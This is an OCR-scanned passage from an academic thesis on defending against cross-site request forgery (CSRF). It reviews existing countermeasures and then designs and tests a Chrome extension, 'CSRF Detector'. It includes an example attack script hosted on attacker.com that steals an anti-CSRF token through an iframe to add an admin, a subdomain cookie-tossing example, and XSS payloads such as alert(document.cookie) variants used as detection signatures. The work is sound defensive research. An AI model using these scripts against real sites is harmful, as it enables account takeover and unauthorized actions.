blocks the CSRF attack scenarios, but disables the payment and central
authentication scenario [27].
6.2.2.4. RequestPolicy

RequestPolicy protects against CSRF by blocking all cross-origin requests. In
contrast to stripping credentials, blocking a request can have a very noticeable effect
on the user experience. When detecting a cross-origin redirect, RequestPolicy injects
an intermediate page where the user can explicitly allow the redirect. RequestPolicy
also includes a predefined whitelist of hosts that are allowed to send cross-origin
requests to each other. Users can add exceptions to the policy using a whitelist.

RequestPolicy successfully blocks the three attack scenarios (by blocking instead of
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stripping all cross-origin requests) and requires interactive end-user feedback to

enable the payment and central authentication scenario [37].

7. CSRF protection: Require User Interaction

Sometimes it is easier or more appropriate to involve the user in the transaction in order to
prevent unauthorized transactions. Challenge-response is a very strong defense against CSRF;
it does not impact user experience [11]. The following are some examples of challenge-
response options:

e Re-Authentication: some websites enforce users to re-enter credential information
such as password when action require state changing at a web server.

e One-time Password Token (OTP): a password that is valid for only one login session
or transaction. The use of one-time password tokens hardens a traditional ID and
password system by adding another dynamic credential. OTP can be used to mitigate
the CSRF attack by simply asking the user to enter OTP when action requires state

changing at a web server.

e CAPTCHA: a computer program or system intended to distinguish human from
machine input. This challenge-response interact with users and prevent the executed of

unknown actions behind users.

8. Advanced CSRF attacks

The following advanced techniques are used by attackers to bypass CSRF protection and

exploit the user session.

8.1. Using XSS to bypass CSRF protection

XSS is well-known web vulnerability. XSS attacks are a type of injection, in which
malicious scripts are injected into otherwise benign and trusted websites. XSS attacks
occur when an attacker uses a web application to send malicious code, generally in the
form of a browser side script, to a different end user. Flaws that allow these attacks to
succeed are quite widespread and occur anywhere a web application uses input from a user
within the output it generates without validating or encoding it [36].

According to OWASP, Attackers can use XSS to defeat any automated cross-site
request forgery (CSRF) defense the application might employ [30]. The anti-CSRF can be

stolen accordingly. This is what called vulnerability chaining.
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For example, a web application that can defend itself against cross-site request forgery
attacks and have a form which is not vulnerable to CSRF by implementing the CSRF
Token protection (example shown in the box below). The token will be verified before the

action is executed.

<input type=""hidden"" name="token" value=""<?php print$_SESSION['token']; ?>""/>

e The script shown below adds new administrator when the button is clicked

<form method=""get"" action=""add_admin.php**>

<input type=""text"" name=""name"" value=""new_admin"* />

<input type=""hidden" name=""token"" value=""<?php print $_SESSION['token']; ?>"" />
<input type=""submit" name=""submit"* value=""add admin"* />

</form>

e The request generated will be such as:

http://www.site.com/add_admin.php?name=Nytro&token=1htFI10iA9s&submit

The token sent from the form will be verified with the token of session stored on web
server. If it was the same, new admin will be added. Although, in case of the web site
thathas a vulnerable to XSS. The attacker can bypass CSRF protection easily by using
JavaScript code.

At first, the attackeruses JavaScript codeto create iframe which will open the
administration page and put everything in a function and will be called at the onload event
of the iframe. The js file will be considered uploaded on:

« http://www.attacker.com/script.js » and contains the following JavaScript Code:

document.writeln("<iframe id=""iframe"" src=""/admin/admin.php?action=add_admin*
width=""0"" height=""0"" onload=""read()""></iframe>");

functionread()

{

varname = 'administrator_name °;
vartoken=document.getElementByld("'iframe’").contentDocument.forms[0].token.value

document.location.href= "http://127.0.0.1/admin/add_admin.php?name="+ name+
‘&token=" + token+ '&submit’;
}

28


http://www.attacker.com/script.js

Chapter 2: CSRF attack and protection techniques

If the victim makes a request to:

http://site_victim.com/index.php?name=<script src=""http://127.0.0.1/script.js></script>

It will be redirected to:

http://site_victim.com/admin/add_admin.php?name=administrator_name&token=aH52
G7jtC3&submit

The forged request looks the same as the normal request. The server will check the
validity of the token and execute the requested action. The victim has been exploited to add
new admin without knowledge.

8.2. Bypass Double-Submit Cookie protection

The attackers can defeat the double-submit cookie protection and set the CSRF cookie

by simply exploit subdomains. For example, an attacker controls and own a malicious sub-

domain ‘https://evil.example.com/’. In this case, the attacker can set the cookie for the

parent domain ‘https://example.com’. Figure 2.7 shows an example of set cookie for

parent domain by sub-domain response.

O\ Response from https://evil. example. com:443/submit?a [127.0.0.1]

| Forward J L Drop | | Intercept is on | Action

J Raw ] Headers I Hex ] HTML ] Render

HTTP/1.1 404 Not Found

-Poweared-By: Frprecs

Set-cookie: csrf=submit path and parent domain; Domain=example.com; Path=/submit; HttpOnly; Securel
Content-Security-FPolicy: detault-src "selT’

X-Content -Type-Options: nosniff

Content-Type: text/html; charset=utf-8

Content-Length: 137

Figure 2.7: Example of set cookie for parent domain by Sub-domain response.

Now, the attacker can use this to controls cookies sent to https://www.example.com/submit.

When user submits a request, the browser will have two values to the same cookie name
(the original cookie and the attacker cookie). The two values will be sent with that request
and according to RFC, the cookie with longer path should be the first. The server at this
point has no way to figure out which is the right cookie and which is the attacker cookie
because no information is sent with cookies. In this case, the server side will look for the
first value of the cookie name which is the attacker cookie. The Figure 2.8 below shows

how an attacker can send the CSRF cookie to the parent domain.
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Lij [\ Request to https:/f/www.example. com:443 [127.0.0.1]
l Forward | [ Drop | | Intercept is on | Action |
Raw | Params | Headers | Hex

POST /submit?_csrf=a-GePpmiVVNIISSLEUBSH4tS-mj@ HTTR/1.1

Host: www.example.com

Connection: close

Content -Length: 32

Cache-Control: max-age=0

Origin: http://localhost: 8000

Upgrade-Insecure-Requests: 1

User-Agent: Mozillas/5.0 (X11; Linux xB& 64) AppleWebkit/537.36 (KHTML, like Gecko) Ubuntu Chromium/56.0.2924.76 Chrome/56.0.2924.76 Safari/537 .36
Content -Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, inage/webp, ¥/ ¥ ;q=0.8

Referer: http://localhost: 8000/ CSRF2

Accept-langugge: en-GE. en-l1S:0=0 8. en:g=0.5

Cook1e:| csrf=submit path and parent c\oma:m)l csr‘f=zszDKQf]eFmtIrch\?CNanS;I}{SRF—TOKEN=92‘fNIJsE.I-I—_DrBocI]I32——2IJchoPIJOJZa6IJsTU; name=undefined;
_csri=parent_domain

favorite=Audi&name=naliciouslser

Figure 2.8: Example of CSRF cookie sent to the parent domain.

9. CSRF countermeasures discussion

As we have presented various defensive mechanisms against CSRF, now we discuss those
mechanisms. The basic idea behind the Server side protection techniques is that server can
strip authentication credential and session information from suspected requests or it can refuse
such requests. A validation token is the most straight forward protection technique used by
web server developers. In this approach, web forms are augmented with a server generated,
unique validation token (e.g. embedded as a hidden field in the form), and at form submission
the server checks the validity of the token before executing the requested action [27]. At the
client-side, validation tokens are protected from cross-origin attackers by the same origin
policy, distinguishing them from session cookies or authentication credentials that are
automatically attached to any outgoing request. Such a token-based approach can be offered
as part of the web application framework [38], as a server-side library or filter, or as a server-
side proxy. Recently, the Origin header has been proposed as a new server-side
countermeasure. With the Origin header, clients unambiguously inform the server about the
origin of the request (or the absence of it) in a more privacy friendly way than the Referer
header. Based on this origin information, the server can safely decide whether or not to accept
the request. In follow-up work, the Origin header has been improved, after a formal
evaluation revealed a previously unknown vulnerability [19]. Although, the disadvantage of
server-side countermeasures is that they require modifications of server-side programs and
making the adoption rate of these protection mechanisms slow. As result, client-side
mitigation techniques can be important solution. As stated before, the client-side
countermeasures are implemented in form of browser proxy or extension to web browsers.
This mechanism makes the web browser at first line defense and reduces the overtime efforts

of web servers. A policy used by the client side protection techniques is to block all cross-
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domain traffic; this is undoubtedly the most secure policy. But unfortunately, many websites
need cross domain operation to perform. So, the key challenge in those mechanisms is to
distinguish malicious from non-malicious cross-origin requests. As result, the most existing
countermeasures do not handle current technologies well, such as single sign-on (SSO).
Furthermore, the HTTP protocol specification states that GET requests should not have state-
altering effects. Even though, many HTTP traffic analysis has shown that cross-domain GET
requests are very common, this means that the attack vector is quite large too. However, they
do not have much importance in client side protections. Besides to this and as we mentioned
before, CSRF attack also can be carried out using XSS attacks and the maximum protection
mechanism suggested cannot protect users against CSRF in this case. The existing client
countermeasures also they don't take this fact in consideration, which makes web applications
and users not completely protected from CSRF. For those reasons, we will implement in our
work a ’CSRF Detector’, a browser extension to defeat attackers from attempt to perform

CSREF attacks by detecting all basic and advanced attacks techniques.

10. Conclusion

In this chapter, we talked about many defense techniques that have been proposed to
protect web users against CSRF attacks in both server and client-side. We have seen several
client-side mitigations techniques to combat CSRF attacks and we discussed their limits. In
the next chapter, we will see our solution to defeat attackers from the attempt to perform

CSRF attacks by detecting all basic and advanced CSRF attacks techniques.
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CHAPTER 3
CSRF DETECTOR EXTENSION

1. Introduction

In the previous chapter we discussed the previous works that have been done to defend
against CSRF attacks and their limits. In this chapter we will talk about our proposed tool to

defeat attackers from attempt to perform basic and advanced CSRF attacks.

2. The proposed scheme

For the client-side protection, the web browser is the right place to apply appropriate
protection mechanism against CSRF. We have seen in the previous chapter the existing client-
side countermeasures and we have cited two main approaches used to protect users from
CSRF attacks. The first one relies on examining and analyzing the request to identify the
cross-domain requests. The cross-domain request will be either blocked or stripped from
authentication credential and session information. But blocking all cross domain requests in
contrast to stripping credentials can have a very noticeable effect on the user experience. The
general limit of this approach is that can only deal with one type of CSRF attack which is
reflected CSRF. The second approach can protect users from CSRF by checking the content
of the response web page in order to detect the symptoms of CSRF attack. In this approach,
the malicious and benign cross-domain requests are distinguished from each other based on
the existence and visibility of the submitted form or link on the originating page. The
advantage of this approach is that can protect users from both types of CSRF attack (reflected
and stored). But unfortunately, the approach suffers from more false positive, the genuine
cross-domain requests will be falsely detected as CSRF attacks.

In order to combat CSRF attacks, we proposed a novel technique for protecting users from
basic and advanced CSRF attacks at client-side.

Our CSRF detector has the following characteristics:

» Our proposed tool ‘CSRF Detector’ detect CSRF attacks with a hybrid mechanism
based on the notion of content checking and request analysis. This approach does not rely on
server side program states and it does not require storing URLs or tokens to be matched at a
later stage for attack detection. Our CSRF detector analysis the HTML code before each page
loads and detects potential CSRF attack, and it intercepts every HTTP request and decides
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whether it should be allowed or not. The suspicious request event will strip from the
authentication credential and session information.

» In order to combat Image based CSRF Attacks we propose a mechanism to identify of
such suspicious image elements by obtaining all IMG elements from the response page and
matched the image URL linked with the image file formats ( JPG, Gif ...etc).

» CSRF detector can detect XSS attack in web site for the purpose of preventing
attackers from using such vulnerability to carried out the CSRF attacks.

» Our proposed solution could defend against login CSRF attack because all processes
of checking are done before the login process.

» CSRF Detector has the ability to detect both types of CSRF attack (reflected and
stored).

» CSRF Detector has the ability to detect cross and sub-domain CSRF attack.

» CSRF Detector adopts Google Safe Browsing service to identify unsafe websites and
notify users to protect themselves from harm websites (malware, phishing ...).

» Finally, CSRF Detector also serves as a tool for web developers to detect CSRF
vulnerability. It allows developers to quickly discover forms that are likely unprotected
against CSRF attacks.

2.1. Considerations of web 2.0

The difficulty of preventing CSRF cannot necessarily be contributed to the nature of the
attack, but more to the complex traffic patterns that are present in the modern web 2.0
contexts. Especially sites extensively using AJAX and single sign-on (SSO) mechanisms,
which combines content of multiple different Websites, make it hard to distinguish
intended user traffic from unintended or malicious traffic. A SSO session typically uses
multiple redirects to go from the site the user is visiting to an SSO service. During these
redirects, authentication tokens are exchanged. When the original site receives a valid
authentication token, the user is authenticated. Since all these redirects are usually cross-
domain, no cookies or HTTP authentication headers can be used anyway, due to the SOP
restrictions implemented in browsers. The authentication tokens are typically encoded in
the redirection URLs [27]. Web 2.0 techniques such as AJAX and SSO can be dealt with
appropriately since our solution does not block any cross-domain request. By stripping the
suspicious cross-domain request from the authentication credential and session
information, CSRF Detector is able to deal with these multiple redirects and does not break

SSO sessions and has no degrading effect on websites using AJAX and SSO.
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3. CSRF Detector architecture

The figure 3.1 shows the flowchart of the act of CSRF Detector, which is a web extension,
locates on Google chrome browser, to monitor any interaction between web sites and web
client. CSRF Detector analysis web requests and web pages content to detect all basic and
advanced CSRF attacks.
CSRF detector also adopted Google Safe Browsing service to check in really big global
database offered by Google that contains a reported malicious website (Malware, fishing,

social engineering).

Social
Eng

- _L __ CSRF Detector _ _ T_ -
/, \\
1 \
1 - \
S | Request analysis ! —
I .
1 1
1 1
1
Chrome | Request analysis, ( ) ;Send Request, Web
T > Attack ' g
Browser 1 1 Server

__Send Response ! Handler P 'Content analysis
\_ J |
1
1

./ ! \

1
1
1

: [ Content analysis }

. e o ———

Figure 3.1: CSRF Detector mechanism.

CSRF Detector has three modules:
1- Request analysis Module: CSRF Detector will intercept the outgoing request sent by
the web browser and check for :
a. Suspicious Cross-domain requests.
b. Suspicious sub-domain requests.
c. Suspicious reflected XSS (Cross-site scripting) requests.
d. Check URL in Google Safe Browsing.
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For the first and the second type of requests (Cross domain requests and Suspicious sub-
domain requests), CSRF Detector intercepts the outgoing requests sent by the web browser
and determines the target and the origin domain. If the origin domain does not match the
destination of the request, the request is considered suspicious. Suspicious requests will be
stripped of authentication credentials in the form of cookies or HT TP authorization headers.
There are two steps to this check:

1. Determining the origin of the request is coming from (Origin domain).
2. Determining the target of request is going to (Destination domain).

For the third type of requests (reflected XSS requests), our CSRF Detector intercepts all
requests and looks for cross-site scripting signatures within parameter values. To look for
signatures in parameters values, our CSRF detector must parse the URL correctly and retrieve
the value part and then search for the signature on the value while overcoming encoding

issues.

2- Content analysis Module: Before and after the requested web page is loaded, CSRF
Detector will check for:
a. Invisible iframes.
b. Suspicious image elements.

c. Unprotected forms.

After webpage is loaded, users can checks for any CSRF vulnerabilities. The module
will check for HTML forms that are likely unprotected against CSRF attacks by examining
forms on a webpage and matching the form elements with user-specified CSRF Token

names and formats.

3- Attack Handler Module: This module sanitizes all suspicious requests, and generates
an alert message to the user about all different types of CSRF attack. The module will
strip the suspicious request from authentication credential and session information, or

any suspicious XSS code.
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4. CSRF Detector mechanism

In this section we will explain how our CSRF Detector works in its different stage:

4.1. Request analysis

( intercept Request )

| Get Destination URL |

v

Reflected XSS checker

Google Safe Browsing

MALWARE

)

Check User GSB choise
Check in Google
Safe browsing

Reflected
XSS found ?

Fishing

Social

engineering

YES

L Get Origin Domain

v

Get Destination Domain

YES

Check Content page Check Content page

suspicious
content ?

suspicious
content ?

Attack Handler

v

notify user

v

Stripped request | .
from session information

:C Send Request )

Figure 3.2: Request analysis flowchart.

MO

Origin is
sub-domain ?

In Figure 3.2, we illustrate how CSRF Detector intercepts every HTTP request sent by
the browser and decides whether it should be allowed, blocked or stripped from

authentication credential and session information. First of all, CSRF Detector will get the
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requested URL and check for reflected XSS (Cross-site scripting attack) using reflected
XSS checker.

In our case with Cross-site scripting ('XSS') attack, the hacker places a hyperlink with
an embedded malicious script into an URL address. The purpose of the malicious script is
to steal user session token and then send it to the attacker. For this reason our detector
module matches any XSS signature (for example keyword: <script> ,"%3Cscript%3E"...)
in the requested url, blocks any suspecious request and notify the user (Figure 3.2).

In the second phase, the requested URL is checked in Google safe browsing databases if
the user was enabling this service. Enabling Google Safe Browsing will offer users more
protections. After that, CSRF Detector will check for cross-domain requests and requests
event that originating from sub-domain to parent domain, this two events are considered
suspicious and will be stripped from session information.

4.1.1. Reflected XSS checker

This module checks for reflected XSS attack in the requested URL. CSRF detector
can detect reflected XSS for the purpose of preventing attackers from using such
vulnerability to carried out the CSRF attacks. XSS exploit is carried out using of
<script> tags and using of characters such as “<>”. In some cases, it is possible that
signature-based filters can be simply defeated by obfuscating the attack. Typically the
attacker can do this through the insertion of unexpected variations in the syntax or in the
encoding. These variations are tolerated by browsers as valid HTML when the code is

returned [43]. Example of different syntax or encoding is shown in the boxes below:

<ScRiPt>alert(document.cookie)</ScRiPt>

<script >alert(document.cookie)</script >

%3cscripthl3ealert(document.cookie)%3c/scripth3e

Our module of reflected XSS checker will check for a different character that can be
used to carry out the reflected XSS attack. Here are the characters it may exist in URL

to detect as reflective XSS attack:

{%3c", '%3e", '<", ">" }
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In case the module match this characters in the requested URL, the request will be
blocked and send to attack handler to notify the user.
4.1.2. Google Safe Browsing checker

Safe Browsing is a Google service that lets client applications check URLs against
Google's constantly updated lists of unsafe web resources. Unsafe web resources are
social engineering websites (phishing and deceptive sites) and websites that host
malware or unwanted software.

CSRF detector helps protect users by showing warnings to users when they attempt
to navigate to dangerous sites. With Safe Browsing we can:

e Check web pages against Google Safe Browsing lists based on platform and threat

types.

o \Warn users before they navigate a harm websites.
4.1.3. Cross-domain request checker

To check for cross-domain request, CSRF Detector will determine the origin domain

and destination domain by:

e First step, Get all existing tabs. Then, identify the valid tab ID of the triggered
request and extract the URL of the considered tab ID to determine the origin
domain of the request. This step is important to specify the request source whether
comes from different tab or from the same one of a valid user.

e Second step, is to determine the destination domain by extracting the value of
‘HOST’ header of the triggered request.

After CSRF Detector determine the target and the origin domain, we will check if
the request is under the same domain. when the origin domain does not match the
destination of the request, the request will be stripped from authentication credentials in
the form of cookies or HTTP authorization headers. The advantage of stripping is that
there are no side-effects for cross-domain requests that do not require credentials in the

first place.

4.2. Content analysis

Figure 3.3 shows the flowchart of web page response analysis, and how it works when

the response webpage is loaded. This module will check for invisible iframes and

suspicious image elements.

We integrate in this module CSRF vulnerability checker to notify users if any unprotected

forms are found, and help developers to check their web sites for CSRF vulnerabilities.
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Figure 3.3: Flowchart of content analysis.

The Figure 3.4 shows the flowchart and demonstrates the working module for this
stage of checking the content.

( On window Page Load )

Get iFrames

— —

Get C55 Style
check Cpacity

Attack Handler

Get iframe attribute

( Send Response to web browser >

Figure 3.4: Flowchart of invisible iFrames checker.
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CSRF detector will check for invisible iframes when the webpage is loaded in order
to prevent attackers to perform the invisible iframe-based CSRF attack. The module will
extract all iframes exist in a webpage, check CSS style and the attributes of HTML
element iframe (“width” and “height”). If (opacity<0.1) or one of the iframe attribute
has the value equal to zero. The web page will be consider having the symptoms of
CSRF attack. The attack handler will strip the next requests event from authentication

credential and session information.

4.2.2. Suspicious image elements checker

In order to combat Image-based CSRF Attacks, we propose a mechanism to identify
of such suspicious image elements by obtaining all IMG elements from the response
page and matched the image URL linked with the image file formats ( JPG, Gif ...etc).

The major of the websites use the static image URLSs to obtain the images in their
web pages. The widely recognized image formats include GIF, JPEG, and PNG. The
other formats supported by popular browsers are jpg, bmp, xbm. So if the website uses a
static image URL then the URL must end with gif, jpeg, jpg, png, bmp or xbm
extension. We can successfully mitigate the CSRF attacks using static image URL by
checking the URL extensions and validating the URL specified in all images element

before the browser renders the webpage.

4.2.3. Unprotected forms checker
CSRF Detectorcan help web developers to quickly discover forms that are
unprotected against CSRF attacks. The CSRF token is added as a hidden field to forms.
The hidden field input is a parameter with a common name such as "CSRF_Token".
The value of this token is randomly generated by the server, such that it cannot be
guessed by an attacker. The box below shows an example of how CSRF Token added in

forms.

<form action="/transfer.php " method="post'>
<input type="hidden" name="CSRFToken" value="0OWY4NmQwO"

</form>
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CSRF detector can check for unprotected forms by examining forms on a webpage
and matching the form element of the hidden type against a list of user-specified token
names and formats. Regular expressions are supported to specify both token names and
formats.

e A token name is the name of a hidden element that contains a CSRF security

token.

¢ A token format is the format of the value of a CSRF security token.

5. Conclusion
In this chapter, we have shown the architecture of our CSRF Detector extension and its
techniques to defeat and prevent the attackers to perform the CSRF attacks, in the next

chapter we will show how we will implement and experiment our CSRF Detector.
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CHAPTER 4
IMPLEMENTATION AND EXPERIMENTATION

1. introduction

This chapter describes the experimental study of our implemented extension. In which our
goal is implementing a browser extension to detect basic and advanced CSRF attacks.

We conducted a number of experiments to study and measure the performance of our
extension, to achieve this objective, our extension CSRF is tested with 300 pages of white list
Websites, extracted from Alexa top 1500 websites to identify false positive generating by
CSRF Detector,

We also developed a vulnerable web application and malicious websites which perform
CSREF attacks in order to measure the false negative detection rate of our extension. We also
have discovered CSRF vulnerabilities on 3 real life Algerian famous web sites; we apply our
CSRF detector to identify its detection rate.

2. implementation tools
2.1. Google Chrome Browser
Chrome is freeware web browser developed by Google in 2008. Released for windows
then it ported to Linux, macOS, 1SO, and Android.

Chrome for Android

27.62%

Chrome 63.0

Chrome 64.0

Safari iPhone

Firefox 58.0

IE 11.0

Safari 1Pad

UC Browser 12.0

Browser version

Android O

Safari 11.0

Samsung Internet 6.2

Edge 16

UC Browser 11.5

UC Browser 11.0

Opera Mini 32.0

0% 5% 10% 15% 20% 25% 30% 35

Market share

Figure 4.1: Most popular web browser (February 2018) [39].
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Currently, Google Chrome is the most popular and widely used browser. As is illustrated in
figure 4.1, this statistic ranks the most popular web browser versions as of February 2018,
ranked by their share of total page views. Google's Chrome 63 was the second most popular

browser with a market share of 13.76 percent, behind Chrome for Android at 27.62 percent.

2.2. Web browser extension or add-on

Extensions are small software programs that customize the browsing experience [40].
They enable users to tailor Chrome functionality and behavior to individual needs or
preferences. They are built on web technologies such as HTML, JavaScript, and CSS.
Chrome extensions have a strong focus on extending the browser’s functionality. It is used
for different reasons and extension types are assigned different tasks.
2.3. Extension Architecture

Extensions are made of different components. Components can include background
scripts, content scripts, an options page, Ul elements and various logic files. Extension
components are created with web development technologies: HTML, CSS, and JavaScript.

Figure 4.2 shows the different parts of Chrome extension.

page action

o browser action
[ m0O

background script manifest json

content script

Figure 4.2 Google chrome extension architecture system [40].
2.3.1. Manifest file
Every extension has a JSON-formatted manifest file, named manifest.json. The
manifest file gives information about the extension, such as the most important files and
the capabilities that the extension might use. It should at least contain the bellow JSON
Objects shown in figure 4.3.The file could also contain other properties depending on

what kind of extension.
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{
"name": "Extensionname",
"version": "0.0.1".
"manifest version": 2.

"browser action": {
"default title": "That’s 1t".
"default_popup": "popup.html"
}
"background": {
"scripts": ["background.js"].
"persistent”: false/true
}-.
"content scripts": [
{ . |
"matches": ["http://*/*", "https://*/*"].
"1s": ["content.js"]
}
]
il

Figure 4.3:Manifest file format.

2.3.2.  Background Script

Every extension has an invisible background page which is run by the browser. It
plays the role of a bridge between the other parts of the extension.
The Background Script has two types defined by the persistent attribute:

1. Persistent background pages: active all of the time (persistent attribute is true).

2. Event page: active only when it needed (persistent attribute should be false in

that case).

Background scripts are registered in the manifest under the "background” field. They

are listed in an array after the "scripts" key, and the attribute “persistent” should be

specified as illustrated in figure 4.4 below.

"name": "Awesome Test Extension",
"background": {
"scripts": ["background.js"],

"perzistent": false

s

Figure 4.4: Example of Background scripts registered in a manifest file.
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2.3.3.  Content Script
The Content script is the only script could access and made changes to the current

page’s DOM. The code is run on the current page and executed with every refresh.
2.4. Manage Events

Extensions are event-based programs used to modify or enhance the Chrome browsing
experience. Events are browser triggers [41]. Such as navigating to a new page, removing a
bookmark, or closing a tab. Extensions monitor these events in their background script and
then react with specified instructions.

2.4.1. The Life cycle of requests

The web request API defines a set of events that follow the life cycle of a web
request. These events can be used to observe and analyze traffic. Certain synchronous
events will allow us to intercept, block, or modify a request. The event life cycle for

successful requests is illustrated in figure 4.5 below.

|

| onBeforeRequest !__..-

h
| onBeforeSendHeaders |-7

'

| onSendHeaders |

¥
| onHeadersReceived |

onErrorQccurred

L
| onAuthRequired |

b J
[

| onBeforeRedirect

¥
| onResponseStarted |

v

| onCompleted |

Figure 4.5: The event lifecycle for request [41].
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2.4.2. onBeforeSendHeaders event
onBeforeSendHeaders event Fires when a request is about to occur and the initial
headers have been prepared [41]. The event is intended to allow extensions to add,
modify and delete request headers. CSRF Detector uses this event to strip cookies from
the suspicious request.
2.5. Google Safe Browsing API

The Safe Browsing APIs (v4) let our extension CSRF Detector to check URLs against
Google's constantly updated lists of unsafe web resources. Any URL found on a Safe
Browsing list is considered unsafe. To determine if a URL is on any of the Safe Browsing
lists, clients can use either the Update API (v4) or Lookup API (v4).

2.5.1. Update API (v4)

The Update API lets client applications download encrypted versions of the Safe
Browsing lists for local, client-side checks of URLs. The Update API is designed for
clients that require high frequency, low-latency verdicts. Several web browsers and
software platforms use this API to protect large sets of users.

2.5.2.  Lookup API (v4)

The Lookup API lets client applications send URLs to the Google Safe Browsing
server to check their status [44]. The API is simple and easy to use, as it avoids the
complexities of the Update API.

In CSRF Detector we have used Lookup API (v4), which implements a simple URL
check, by sending an HTTP POST request with the actual URLs, and the server
responds with the state of the URLSs (safe or unsafe).

To use the Lookup APl we need a Google Account, a Google Developer Console
project, and an API key. Finally, we also need to activate the Safe Browsing APIs for
use with our project.

2.5.3. Setupan APl key

To access to the safe browser APIs we set up and activate our own API key to
authenticate as an API user to allow us to interact with the APIs. The API key is passed
as a URL parameter in the HTTP request to the Safe Browsing service. Here the URL
with our API key:

https://safebrowsing.googleapis.com/v4/threatMatches: find?key=A1**HC8
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2.5.4. Checking URLs
To check if a URL is on a Safe Browsing list, we send an HTTP POST request to the
Google Safe Browsing server. The requestis an XMLHttpRequestand has the flowing
structure :
e The request header includes the request URL and the content type.
e The request body includes the client information (ID and version) and the
threat information (the list names and the URLS).

Figure 4.6 below shows the code of HTTP post request:

var uri_sub= details.url;

var xhr = new XMLHttpRequest(); APIKEY
var ur1="http5:ffsafeb'cwsing.gccgleapis.ccwfu4fth'eatﬂatche5:findﬂkev=AI:aSvBak« * kaialal ToHCB';
var params= "{" +
\"client\": {" +
\VclientId\": \"CSRF Detector\"," +
\"clientVersion\": \"L.@\"" +
Lo+
\"threatInfo\": {" +
\"threatTypes\": [\"MALWARE\", \"SOCIAL_ENGINEERING\"]," + _ )
\"platformTypes\":  [\"ANY_PLATFORM\"]," + JSON Object
\"threatEntryTypes\": [\"URL\"]," +
\"threatEntries\": [" +
{VurlVs A"+ uei_sub +"\V'}F" +
1"+
¥+
I3

xhr.open("POST", url, true);

Figure 4.6: Lookup API HTTP post request code.

The HTTP POST response will include the response header and a body in case
matches. If there are no matches (that is, if none of the URLSs specified in the request are
found on any of the lists specified in a request), the HTTP POST response simply
returns an empty object in the response body.

e The response header includes the HTTP status code and the content type.

HTTP/1.1200 OK
Content-Type:application/json

e The response body includes the match information (the list names and the

URLs found on those lists, the metadata, if available, and the cache durations).
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"matches":[{
"threatType"': "MALWARE",
"platformType': "WINDOWS™,
"threatEntryType':"URL",
"threat": {"url”:"http://www.urltocheckl.org/"}

"threatEntryMetadata':{
"entries'":[{
"key' :"malware_threat_type",
"value':"landing"

Hd |
}1
""cacheDuration':'""300.000s""}

Figure 4.7: example code of HTTP post response body

. Interfaces
3.1. CSRF Detector user interface

CSRF Detector is an extension that works on browser background with a simple
interface. The user can decide whether to use or not the extension by simply check the
button Disable. The suspicious request which stripped from cookies will be displayed in
the middle gray box. Web developers also can check for unprotected forms against CSRF

by simply click on the button of checking.

CSRF

Detector

| No request blocked..
|

1

Check for unprotected forms

Use Google safe browsing:

Disable Add-On

Figure 4.8: CSRF Detector user interface.

50



Chapter 4: IMPLEMENTATION AND EXPERIMENTATION

3.2. CSRF Detector alerts
CSRF Detector generates alerts to notify users about all types of attack that our tool can
identify. The flowing alerts illustrate cases when the users alerted:

e Image-Based CSRF attack: italerts a user when suspicious image found .

CSRF Detector

Warning!
image based csrf attack Detected . the request will stripped from

cookies,

Figure 4.9: alert onlmage-based CSRF attack.

e Invisible-iframe Based CSRF attack : italerts a user when invisible iframe

found.

CSRF Detector

Warning!
csrf attack Detected with invisible Iframe. the request will stripped from

Figure 4.10: alert on the invisible iframe.

cookies,

e Reflected XSS alert: it alerts a user while the requested URL contains symptom of
reflected XSS attack

CS5RF Detector

Warning !
Reflected XSS found .. Request blocked

[0 Empécher cette page de générer des boites de dizlogue supplémentaires

Figure 4.11: Alert on reflected XSS attack.
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4. Test Methodology

In order to ensure the efficiency of our solution, we conducted some tests to evaluate the
efficiency and the capability of the CSRF Detector against basic and advanced CSRF attacks.
To make sure that its results match with what is predetermined we developed a small web
application which implements cookies as session management mechanism and simulates the
CSRF attacks with it. We also tested our solution in Real-life with vulnerable and white list
websites.

4.1. Testing with basic CSRF attacks

E-Money transfer application is small web application written in PHP, HTML,

JavaScript, and MySQL, we developed this web application to simulate the basic CSRF

attacks and to evaluate the ability of CSRF Detector to protect vulnerable applications. The

users of this application can login to the application and send money to each other. The

form of sending money contains information (Receiver and amount), the user had to login

and fill the form to send money. In purpose to simulate the CSRF attack we deliberately

left this form unprotected and use it later at different stages of CSRF attack. We checked

the form by CSRF Detector and we get the result as illustrated in the figure below.

Send Money

receiver

amount -

Figure 4.12: Unprotected form checked by CSRF Detector.

4.1.1. Testscenario
e Case 1: Without CSRF Detector
The victim login to E-money transfer website. After that, he clicks on a malicious
link sent by an attacker or malicious link stored in attacker website. Because there is

no detection against CSRF attack in this website, the attackers can easily trick the
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user through the malicious link and send money to his account without knowledge of

the victim.
e Case 2: With CSRF Detector Extension

We enable CSRF detector. Then, we repeated the previous attacks. Our tool

detected and rejected all CSRF attacks attempted from different sources correctly,

which means that the false negative rate is zero.
4.2. Testing with advanced CSRF attacks

We conducted some tests to evaluate the efficiency and the capability of our tool against

advanced CSRF attacks including both vulnerabilities (XSS and exploiting sub-domains).

At first, we developed a webpage that contains malicious XSS. The box below shows how

the malicious code was injected.

<input type="hidden" name="receiver" placeholder="receiver" type= Lext value= DOD
<input type="hidden" name="amount” placeholder="amount" type="number” value="1@0@">
<input name="submit" value="download" type="submit™>
</form>

<form method="post" action="http:x'_."localhcst.f’csrf;"l“lor.ey_fi"dex.p"l<sc*i3t>alert::'xss‘];ﬂ"script:\' target="dummyframe">

After the request is triggered from this form, CSRF Detector shows his ability to block

such malicious request and alert user about it. We also test CSRF Detector with request

that originating from sub-domains to parent domain. The figure below shows that CSRF

detector was successfully stripped cookies from such request.

CSRF

Detector

Stripped cookies: myaccount.google.com -> www.gstatic.com
Stripped cookies: myaccount.google.com -> www.gstatic.com
Stripped cookies: myaccount.google.com -> www._gstatic.com
Stripped cookies: myaccount.google.com -> www.gstatic.com
Stripped cookies: myaccount.google.com -=> www.gstatic.com
Stripped cookies: myaccount.google.com -> wiww.gstatic.com
Stripped cookies: myaccount.google.com -= www.gstatic.com
Stripped cookies: myaccount.google.com -> www.gstatic.com
Stripped cookies: myaccount.google.com -> www.gstatic.com
I| _stripped cookies: myvaccount. gooagle.com —> www.gstatic.com
Stripped cookies: myaccount.google.com -=> wiww.google.com
vl L8 0100 4 (=3 By LML e IRl g e (01000 | MCe] ) Q= 8 -
i@ Stripped cookies: myaccount.google.com -> www.gstatic.com

Check for unprotected forms

Disable
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4.3. Testing with white list Websites

We conducted an experiment using a white list to check if our proposed tool will
